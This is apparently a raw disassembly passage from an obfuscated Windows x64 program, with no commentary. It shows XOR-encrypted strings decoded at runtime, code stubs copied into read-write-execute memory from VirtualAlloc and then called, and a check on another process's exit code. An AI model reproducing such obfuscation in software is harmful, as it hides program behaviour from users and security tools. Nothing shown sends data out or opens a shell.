lea rdx, [rsp + 0x8f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14025ad00
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, r12
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14025aee0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov r8d, esi
mov dword [rsp + 0x70], esi
movsd xmm0, qword [str._t_kwfQ]
movzx eax, byte [0x1402a9a70]
movsd qword [rsp + 0x140], xmm0
mov byte [rsp + 0x140], 0x48
xor byte [rsp + 0x141], 0x43
xor byte [rsp + 0x142], 0x45
xor byte [rsp + 0x143], 0x47
xor byte [rsp + 0x144], 0x49
xor byte [rsp + 0x145], 0x4b
xor byte [rsp + 0x146], 0x4d
xor byte [rsp + 0x147], 0x4f
xor al, 0x51
mov byte [rsp + 0x148], al
lea rax, [rsp + 0x140]
mov qword [rsp + 0x480], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xe68], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xe70], r13
mov qword [rsp + 0xe78], rax
mov r12, qword [rax]
xor r12, r13
mov qword [rsp + 0xe68], r12
mov qword [rax], rsi
mov ecx, esi
mov dword [rsp + 0x90], r8d
mov rax, qword [0x1402c1d70]
test rax, rax
je 0x140244109
mov rdx, rsi
mov dword [rsp + 0x70], r8d
mov dword [rsp + 0x90], r8d
lea r8, [0x14025b2b0]
nop
cmp rax, r8
je 0x1402440f8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c1d70]
test rax, rax
jne 0x1402440e0
jmp 0x140244109
mov r8, qword [r14 + rdx*8 + 0x2c0730]
test r8, r8
jne 0x1402441f6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140244130
mov r8, rsi
jmp 0x1402441ce
lea rax, [0x14025b2b0]
mov rcx, r8
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140244140
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c0d88]
lea rcx, [0x14025b2b0]
mov qword [r14 + rax*8 + 0x2c1d70], rcx
mov qword [r14 + rax*8 + 0x2c0730], r8
inc rax
mov qword [0x1402c0d88], rax
lea rdx, [rsp + 0x480]
mov rcx, rdi
call r8
nop
xor r12, r13
lea rax, [rsp + 0x6308]
mov qword [rax], r12
mov r12d, esi
mov dword [rsp + 0x164], esi
nop dword [rax]
cmp byte [0x1402bfe51], 0
je 0x14024583e
test r12d, r12d
je 0x14024423f
cmp r12d, 0x1f4
jle 0x14024432b
mov eax, dword [str.86___M]
mov dword [rsp + 0xf8], eax
movzx ecx, word [0x1402a9b90]
mov word [rsp + 0xfc], cx
movzx eax, byte [0x1402a9b92]
mov byte [rsp + 0xf8], 0x79
xor byte [rsp + 0xf9], 0x43
xor byte [rsp + 0xfa], 0x45
xor byte [rsp + 0xfb], 0x47
xor cl, 0x49
mov byte [rsp + 0xfc], cl
xor byte [rsp + 0xfd], 0x4b
xor al, 0x4d
mov byte [rsp + 0xfe], al
lea rax, [rsp + 0xf8]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402442b0
lea rdx, [rsp + 0xf8]
lea rcx, [0x1402bdaa0]
call fcn.1402594a0
lea rdx, [rsp + 0xcf0]
cmp qword [rsp + 0xd08], 0x10
cmovae rdx, qword [rsp + 0xcf0]
lea rcx, [0x1402bda40]
cmp qword [0x1402bda58], 0x10
cmovae rcx, qword [0x1402bda40]
mov r8, qword [0x1402bda50]
cmp r8, qword [rsp + 0xd00]
jne 0x140245573
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140245573
mov r12d, esi
mov dword [rsp + 0x164], esi
lea rcx, [rsp + 0xd20]
cmp qword [rsp + 0xd38], 0x10
cmovae rcx, qword [rsp + 0xd20]
mov r8, qword [rsp + 0xd30]
cmp r8, 7
jne 0x140244f93
lea rdx, str.enabled
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140244f93
movsd xmm0, qword [0x1402a97a0]
movsd qword [rsp + 0x200], xmm0
mov eax, dword [0x1402a97a8]
mov dword [rsp + 0x208], eax
cmp byte [0x1402a97ab], 0
je 0x140244607
mov r9d, esi
cmp dword [0x1402bd008], 2
jl 0x140244596
movdqa xmm7, xmmword [0x1402ad190]
mov eax, 6
movd xmm9, eax
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402a97a0]
pxor xmm3, xmm0
movd dword [rsp + 0x200], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x204]
pxor xmm3, xmm1
movd dword [rsp + 0x204], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x200]
add r10, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x1402445b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x6e0], xmm0
mov qword [rsp + 0x6f0], rsi
mov qword [rsp + 0x6f8], rsi
lea rax, [rsp + 0x200]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140244631
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0x6e0]
call fcn.14021d330
nop
lea rcx, [rsp + 0x6e0]
call fcn.14020c9c0
mov qword [rsp + 0x488], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xe80], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xe88], r13
mov qword [rsp + 0xe90], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rsp + 0xe80], rdi
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c26d0]
test rax, rax
je 0x1402446d9
mov rdx, rsi
nop dword [rax + rax]
cmp rax, r15
je 0x1402446c8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c26d0]
test rax, rax
jne 0x1402446b0
jmp 0x1402446d9
mov r8, qword [r14 + rdx*8 + 0x2c2090]
test r8, r8
jne 0x1402447bf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140244700
mov r8, rsi
jmp 0x14024479e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140244710
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d10]
mov qword [r14 + rax*8 + 0x2c26d0], r15
mov qword [r14 + rax*8 + 0x2c2090], r8
inc rax
mov qword [0x1402c3d10], rax
lea rdx, [rsp + 0x488]
lea rcx, [fcn.14020b790]
call r8
mov dword [rsp + 0x190], eax
xor rdi, r13
lea rax, [rsp + 0x6308]
mov qword [rax], rdi
lea rcx, [rsp + 0x6e0]
call fcn.140259200
movups xmm0, xmmword [0x1402a9fb8]
movups xmmword [rsp + 0x2d0], xmm0
movzx eax, word [0x1402a9fc8]
mov word [rsp + 0x2e0], ax
cmp byte [0x1402a9fc9], 0
je 0x140244ac7
mov r9d, esi
cmp dword [0x1402bd008], 2
jl 0x140244a57
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x2d4]
mov edx, dword [rsp + 0xe0]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x140244890
cmp r9d, 0x12
jge 0x140244ac7
movsxd rax, r9d
lea r10, [rsp + 0x2d0]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x140244a70
xorps xmm0, xmm0
movups xmmword [rsp + 0x700], xmm0
mov qword [rsp + 0x710], rsi
mov qword [rsp + 0x718], rsi
lea rax, [rsp + 0x2d0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140244af1
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0x700]
call fcn.14021d330
nop
lea rcx, [rsp + 0x700]
call fcn.14020c9c0
mov qword [rsp + 0x490], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd58], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xd60], r13
mov qword [rsp + 0xd68], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rsp + 0xd58], rdi
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c26d0]
test rax, rax
je 0x140244b99
mov rdx, rsi
nop dword [rax + rax]
cmp rax, r15
je 0x140244b88
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c26d0]
test rax, rax
jne 0x140244b70
jmp 0x140244b99
mov r8, qword [r14 + rdx*8 + 0x2c2090]
test r8, r8
jne 0x140244c7f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140244bc0
mov r8, rsi
jmp 0x140244c5e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140244bd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d10]
mov qword [r14 + rax*8 + 0x2c26d0], r15
mov qword [r14 + rax*8 + 0x2c2090], r8
inc rax
mov qword [0x1402c3d10], rax
lea rdx, [rsp + 0x490]
lea rcx, [fcn.14020b790]
call r8
mov dword [rsp + 0x74], eax
xor rdi, r13
lea rax, [rsp + 0x6308]
mov qword [rax], rdi
lea rcx, [rsp + 0x700]
call fcn.140259200
cmp dword [rsp + 0x190], 0
jne 0x140244cc5
cmp dword [rsp + 0x74], 0
je 0x140244f93
movups xmm0, xmmword [0x1402a9528]
movups xmmword [rsp + 0x410], xmm0
movups xmm1, xmmword [0x1402a9538]
movups xmmword [rsp + 0x420], xmm1
movsd xmm0, qword [0x1402a9548]
movsd qword [rsp + 0x430], xmm0
cmp dword [0x1402bd008], 2
jl 0x140244ee7
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [str.AAAAAAAA]
lea rcx, [rsp + 0x410]
movd xmm5, esi
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm11
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rsi + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm11
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add esi, 8
mov eax, esi
lea rcx, [rcx + 0x10]
cmp esi, 0x10
jl 0x140244d51
cmp eax, 0x14
jge 0x140244f56
movsxd rax, esi
lea r9, [rsp + 0x410]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x9c09c09d
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x69
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, bx
movzx ecx, dx
imul ecx, eax
sub cx, r8w
movzx eax, si
add ax, ax
add cx, 0x41
add cx, ax
xor word [r9], cx
inc esi
lea r9, [r9 + 2]
cmp esi, 0x14
jl 0x140244f00
lea rdx, [rsp + 0x410]
lea rcx, [rsp + 0xb50]
call fcn.140257350
nop
lea rcx, [rsp + 0xb50]
call fcn.1402177e0
nop
lea rcx, [rsp + 0xb50]
call fcn.140258f70
mov byte [0x1402bfe51], 0
jmp 0x14024583e
mov r8d, dword [rsp + 0x70]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x1402452a3
lea rdx, [rsp + 0xfcc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x140244fd3
inc r12d
mov dword [rsp + 0x164], r12d
jmp 0x140244220
movups xmm0, xmmword [0x1402a9528]
movups xmmword [rsp + 0x3e8], xmm0
movups xmm1, xmmword [0x1402a9538]
movups xmmword [rsp + 0x3f8], xmm1
movsd xmm0, qword [0x1402a9548]
movsd qword [rsp + 0x408], xmm0
cmp dword [0x1402bd008], 2
jl 0x1402451f6
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [str.AAAAAAAA]
lea rcx, [rsp + 0x3e8]
nop
movd xmm5, esi
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm11
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rsi + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm11
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add esi, 8
mov eax, esi
lea rcx, [rcx + 0x10]
cmp esi, 0x10
jl 0x140245060
cmp eax, 0x14
jge 0x140245266
movsxd rax, esi
lea r9, [rsp + 0x3e8]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x9c09c09d
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x69
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, bx
movzx ecx, dx
imul ecx, eax
sub cx, r8w
movzx eax, si
add ax, ax
add cx, 0x41
add cx, ax
xor word [r9], cx
inc esi
